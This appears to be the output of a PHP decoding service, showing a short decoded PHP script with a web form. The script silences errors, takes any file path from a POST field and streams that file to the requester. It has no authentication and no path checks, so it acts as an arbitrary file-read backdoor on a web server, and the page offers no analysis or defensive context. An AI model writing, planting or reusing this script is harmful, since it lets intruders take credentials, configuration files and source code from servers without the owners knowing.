PHP Decode

?>b'<?php
error_reporting(0);

if($_POST[\'filename\']){
	$filename = $_POST[\'filename\'];
					if(is_file($filename)){
						header("Content-Type: application/octet-stream");
						header(\'Content-Transfer-Encoding: binary\');
						header("Content-length: ".@filesize($filename));
						header("Content-disposition: attachment; filename=\"".basename($filename)."\";");
						$filename = @fopen($filename,"rb");
						while(!feof($filename)){
							print(@fread($filename, 1024*8));
							ob_flush();
							flush();
						}
						fclose($filename);
					}
					else{
						echo "Not Found!";
					}
				}
?>
<form method="POST">
<input name="filename" style="width:40%;height:19px;" type="text" value="D:/WEB SERVER/test.php" />
<input name="download" type="submit">
</form>
'